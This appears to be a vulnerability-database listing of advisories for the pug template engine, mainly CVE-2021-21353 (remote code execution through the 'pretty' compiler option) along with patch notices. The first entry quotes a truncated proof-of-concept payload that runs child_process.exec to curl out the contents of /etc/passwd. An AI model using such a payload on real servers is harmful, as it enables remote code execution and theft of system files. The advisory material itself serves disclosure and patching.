PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Vulnerability Information CVE Number: cve-2021-21353 CVSS Score: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

CLSA-2026-1786620685 TuxCare security update for pug-code-gen (2 CVEs)

TuxCare rebuilt pug-code-gen to address 2 CVEs. Fixed in 2.0.2-tuxcare.5...

PT-2026-80150

TuxCare rebuilt pug-code-gen to address 2 CVEs. Fixed in 2.0.2-tuxcare.5...

ROOT-APP-NPM-AIKIDO-2024-10106 AIKIDO-2024-10106 in pug-code-gen - Patched by Root

Root has patched AIKIDO-2024-10106 in the pug-code-gen package for Root:npm. Multiple fixed versions available...

PT-2026-80689

Root has patched AIKIDO-2024-10106 in the pug-code-gen package for Root:npm. Multiple fixed versions available...

pug (>=3.0.0-canary-1, <=3.0.3-canary-14) potentially affected by CVE-2024-36361 via pug-code-gen (>=3.0.0-canary-1, <=3.0.3-canary-14)

pug-code-gen NPM version =3.0.0-canary-1, =3.0.0-canary-1, =3.0.3-canary-14 Source cves: CVE-2024-36361 Source advisory: OSV:GHSA-3965-HPX2-Q597...

pug (>=3.0.0-canary-1, <=3.0.2-canary-10) potentially affected by CVE-2024-36361 via pug-code-gen (>=3.0.0-canary-1, <=3.0.2)

pug-code-gen NPM version =3.0.0-canary-1, =3.0.0-canary-1, =3.0.2-canary-10 Source cves: CVE-2024-36361 Source advisory: GHSA-3965-HPX2-Q597...

Security Bulletin: A security vulnerability in Node.js pug and pug-code-gen module affects IBM Cloud Pak for Multicloud Management Managed Service.

Summary A security vulnerability in Node.js pug and pug-code-gen module affects IBM Cloud Pak for Multicloud Management Managed Service. Vulnerability Details CVEID: CVE-2021-21353 DESCRIPTION: Node.js pug and pug-code-gen could allow a remote attacker to execute arbitrary code on the system,...

Remote Code Execution (RCE)

pug-code-gen is vulnerable to remote code execution RCE. The vulnerability exists as the allowed values of the pretty option of the pug compiler are overly permissive...

Remote Code Execution

Overview Impact In affected versions of pug and pug-code-gen, if a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remot...

CVE-2021-21353

Pug is an npm package which is a high-performance template engine. In pug before version 3.0.1, if a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was...

Remote code execution

Pug is an npm package which is a high-performance template engine. In pug before version 3.0.1, if a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was...

CVE-2021-21353

Pug is an npm package which is a high-performance template engine. In pug before version 3.0.1, if a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was...

Remote Code Execution

Overview Impact In affected versions of pug and pug-code-gen, if a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remot...

pug (3.0.1-canary-5) potentially affected by CVE-2021-21353 via pug-code-gen (3.0.2-canary-5)

pug-code-gen NPM version 3.0.2-canary-5 is affected by a known vulnerability. The following packages have a transitive dependency on pug-code-gen and may be impacted: - pug 3.0.1-canary-5 Source cves: CVE-2021-21353 Source advisory: OSV:GHSA-P493-635Q-R6GR...

pug (3.0.1-canary-5) potentially affected by CVE-2021-21353 via pug-code-gen (3.0.2-canary-5)

pug-code-gen NPM version 3.0.2-canary-5 is affected by a known vulnerability. The following packages have a transitive dependency on pug-code-gen and may be impacted: - pug 3.0.1-canary-5 Source cves: CVE-2021-21353 Source advisory: GHSA-P493-635Q-R6GR...

CVE-2021-21353

Pug is an npm package which is a high-performance template engine. In pug before version 3.0.1, if a remote attacker was able to control the "pretty" option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it wa...

@3kmfi6hp/nodejs-proxy (>=1.0.0, <=1.0.4), @aarhus-university/au-designsystem-delphinus (>=1.0.0, <=1.2.0) +340 more potentially affected by CVE-2021-21353 via pug-code-gen (>=0.0.0, <=1.1.1)

pug-code-gen NPM version =0.0.0, =1.0.0, =1.0.0, =1.0.0, =2.0.0, =0.2.0, =0.0.1, =0.0.2, =0.8.10, =0.0.9, =1.0.0, =2.1.1-alpha.1 and more Source cves: CVE-2021-21353 Source advisory: MEND:CVE-2021-21353...

pug (3.0.1-canary-5) potentially affected by CVE-2021-21353 via pug-code-gen (3.0.2-canary-5)

pug-code-gen NPM version 3.0.2-canary-5 is affected by a known vulnerability. The following packages have a transitive dependency on pug-code-gen and may be impacted: - pug 3.0.1-canary-5 Source cves: CVE-2021-21353 Source advisory: MEND:CVE-2021-21353...

CVE-2021-21353: Improper Neutralization of Special Elements in Output Used by a Downstream Component

Pug is an npm package which is a high-performance template engine. In pug before version 3.0.1, if a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was...